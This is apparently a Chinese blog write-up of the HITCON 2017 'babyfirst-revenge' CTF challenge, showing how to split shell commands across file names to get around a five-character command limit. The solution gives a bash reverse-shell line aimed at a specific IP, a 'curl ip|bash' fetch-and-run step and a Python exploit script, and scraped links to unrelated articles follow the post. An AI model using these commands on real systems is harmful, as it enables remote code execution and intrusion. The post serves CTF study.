参考:https://blog.csdn.net/calmegm/article/details/80874902 https://www.leavesongs.com/SHARE/some-tricks-from-my-secret-group.html https://blog.csdn.net/calmegm/article/details/80874902

0x01:linux中的 > 符号和 >> 符号

1.通过>来创建文件>test.txt ls

2.通过>将命令执行的结果存入文件中echo "hello world">test

但是通过>来将命令执行结果写入文件会覆盖掉文件原本的内容,如果我们想要在原本文件内容后面追加内容就要使用>>echo "aaa">test cat test echo "bbb">>test cat test

0x02:linux中命令换行

在linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加 "",可以将一条命令写在多行

比如我们有一个test文件内容如下:ec ho hello world!

然后我们用sh命令来执行一下:sh test

成功输出了 hello world!

0x03:ls -t命令

在linux中,我们使用ls -t命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)touch a touch b touch c ls -t

0x04:利用ls -t 和 > 以及换行符 绕过长度限制执行命令

我们先看执行如下命令的结果:ls -t>test cat test

ls -t 命令列出文件名,然后每个文件名按行储存,如果我们将我们要执行的命令拆分为多个文件名,然后再结合命令换行,然后通过 ls -t > test这样的方式再写入某个文件来运行不就可以绕过命令长度限制了吗,而且从上面我们可以看出,ls -t>test的执行顺序是先创建文件test,然后执行ls -t,然后将执行结果写入test文件

我们可以做如下小实验:

比如我们要执行 echo hello world> "rld" > "wo\" > "llo \" > "he\" > "echo \" ls -t > _ sh _

我们可以看到,因为我们最后创建的文件 "_"的文件名会输入到文件中导致一个错误信息,但是并不影响我们下面命令的执行,最终成功的输出了 "hello world"

这里使用了两个 是因为我们需要转义掉多行命令的换行,如果我们只使用一个 那么就会被误解为正在多行执行命令,就会出现下面这种情况echo hello world

0x05:hitcon 2017 babyfirst-revenge

这道ctf题目考的就是绕过长度限制执行命令<?php error_reporting(E_ALL); $sandbox = '/var/www/html/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']); mkdir($sandbox); chdir($sandbox); if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) { exec($_GET['cmd']); } else if (isset($_GET['reset'])) { exec('/bin/rm -rf ' . $sandbox); } highlight_file(__FILE__);

既然可以执行命令,那么我们首先想到的是反弹一个shell回来

bash反弹shell的命令如下:bash -i >& /dev/tcp/vps的ip/监听的端口 0>&1

空格需要转义> \

构造空格就用去了五个字符,我们的语句里面有两个空格,而相同的文件名只能有一个,因此这里不能直接执行bash反弹shell

那么通过将反弹语句放在vps上,然后通过如下方式来执行:curl ip地址|bash

我们先在自己的vps新建一个文件,内容为bash -i >& /dev/tcp/120.79.33.253/7777 0>&1

然后在vps上面监听7777端口nc -lv 7777

因为ls -t>_的长度也大于5,所以要要把ls -t>y写入文件

ls命令排序的规则是空格和符号最前,数字其次,字母最后>ls\ ls>_ > \ >-t\ >>y ls>>_

那么我们再构造curl 120.79.33.253|bash>bash >|\ >53\ >2\ >3.\ >3\ >9.\ >7\ >0.\ >12\ > \ >rl\ >cu\

然后运行sh _

生成文件y

再执行sh y

最后贴一下我的py脚本#encoding:utf-8 import requests baseurl = "http://120.79.33.253:9003/?cmd=" reset = "http://120.79.33.253:9003/?reset" s = requests.session() s.get(reset) # 将ls -t 写入文件_ list=[ ">ls\", "ls>_", "> \", ">-t\", ">>y", "ls>>_" ] # curl 120.79.33.253|bash list2=[ ">bash", ">|\", ">53\", ">2\", ">3.\", ">3\", ">9.\", ">7\", ">0.\", ">12\", "> \", ">rl\", ">cu\" ] for i in list: url = baseurl+str(i) s.get(url) for j in list2: url = baseurl+str(j) s.get(url) s.get(baseurl+"sh _") s.get(baseurl+"sh y") #s.get(reset)

成功拿到shell

自搭测试地址:http://120.79.33.253:9003

想要复现一波的大佬可以复现一下,但请不要破坏环境

如有错误,还望各位大佬指出

ctf 监听端口_从一道ctf题目学到的绕过长度执行命令姿势 - 华域联盟|chu相关推荐

  1. cmd执行命令不等待返回值_从一道ctf题目学到的绕过长度执行命令姿势

    0x01:linux中的 > 符号和 >> 符号 1.通过>来创建文件 >test.txtls 2.通过>将命令执行的结果存入文件中 echo "hell ...

  2. java tcp 监听端口_【TCP/IP】端口未监听,还能访问成功?

    作者:Mr林_月生链接:https://www.jianshu.com/p/3ab10c8685b5 现象 直接上图 可以发现,本地没监听50000端口的服务,但是尝试连接本地50000端口时,却能成 ...

  3. xshell监听端口_监听端口修改_笨办法学Linux 远程访问 (原理、实践、记录与排错)-视频课程_Linux视频-51CTO学院...

    聪明人下笨功夫.本课程所倡导"笨办法"的核心是: ● 深入理解原理 ● 精读man帮助.官方文档- ● 做所有的实验,尽量不要复制粘贴! ● 详细记录实验过程 ● 使用思维导图等辅 ...

  4. rocket mq 监听端口_如何使用Jmeter实现MQ数据的发送和接收?性能测试实战篇

    JMeter是性能测试中被普遍使用的一种工具,常用于压力测试.该工具具有丰富的扩展插件用以满足不同情况下性能测试的需求.消息队列(Message Queue)简称为MQ,作为目前的主流中间件,在很多软 ...

  5. rocket mq 监听端口_浅谈业务流程中的mq使用方式

    假设有个场景: 下单成功需要给用户发送消息通知,发送消息通知通过mq实现 事务提交前发送mq消息 step1:start transaction step2:生成订单 step3:投递消息到mq st ...

  6. navicat连接oracle无监听程序_一个Java程序员的成长历程(022天)

    第43次(Oracle数据库的使用) 学习主题:Oracle数据库的使用 学习目标: 1 掌握数据库相关概念 2 掌握oracle的安装,认识oracle的目录以及系统用户 3 掌握oracle常用命 ...

  7. zabbix自动发现规则实现批量监控主机的TCP监听端口

    检查服务器所有监听端口和其对应的服务名称的脚本可以参考https://blog.zzyyxx.top/blog/post/gordy/acf57f04f9e1  现在准备加入zabbix自动发现规则并 ...

  8. grpc中监听端口添加及绑定

    1.ServerCredentials 分为安全和不安全的两种,实现了添加监听端口 2.端口监听和绑定 其通信图为 ​​​​​​​

  9. 服务器监听端口信息,服务器监听端口信息

    服务器监听端口信息 内容精选 换一换 本节操作介绍如何在移动设备上连接Linux实例.以iTerminal-SSH Telnet为例介绍如何在iOS设备上连接 Linux 实例,详细操作请参考IOS设 ...

最新文章

  1. 书评 | 圈内大佬怎么看编程日历
  2. 洛谷 - P1433 - 吃奶酪 - dfs
  3. linux看是否连上服务器
  4. java set方法不生效_使您的Java 8方法引用生效
  5. 将单向链表按某值划分成左边小、 中间相等、 右边大的形式~迎娶是挺
  6. 飞秋教程:日程安排记事提醒
  7. 超酷的OpenSource的Javascript Calendar控件
  8. java程序嵌入地图_java – 使用JPA存储地图
  9. axios post请求
  10. Subversion for Windows 相关工具
  11. [原创]超轻量级Web安全漏洞扫描工具Netsparker使用教程介绍
  12. Matlab如何多行添加注释和取消注释
  13. Hadoop与Spark等大数据框架介绍
  14. java实现断点续播_vue-video-player 断点续播的实现
  15. python计算标准差为什么分母要-1_标准差越大说明什么(样本标准差分母为何是n-1)...
  16. Tina-TI——小巧好用又高效的原理图仿真软件
  17. 服务器网页内容修改了不变动,修改服务器网页
  18. Spark集群环境搭建+Maven、SBT编译部署+IDEA开发(二)
  19. android代码实现删除,Android中RecyclerView实现Item添加和删除的代码示例
  20. Ubuntu使用sudo apt-get upgrade升级软件出现问题后的处理

热门文章

  1. nginx启动只有master没有worker_深入探索Nginx工作原理
  2. 天下手游卡在获取服务器信息,天下手游召唤兽获取与洗练:新手必须知道的事情...
  3. update.php,update php version to 5.6
  4. 计算机算法设计与分析 找零钱问题
  5. Magic Odd Square 思维
  6. Vivado设计流程(一)新建工程
  7. TensorFlow:模型的保存与恢复(Saver)
  8. 洛谷 | P1010 幂次方
  9. 自动驾驶——传感器的配置参数
  10. Numpy——常用的排序函数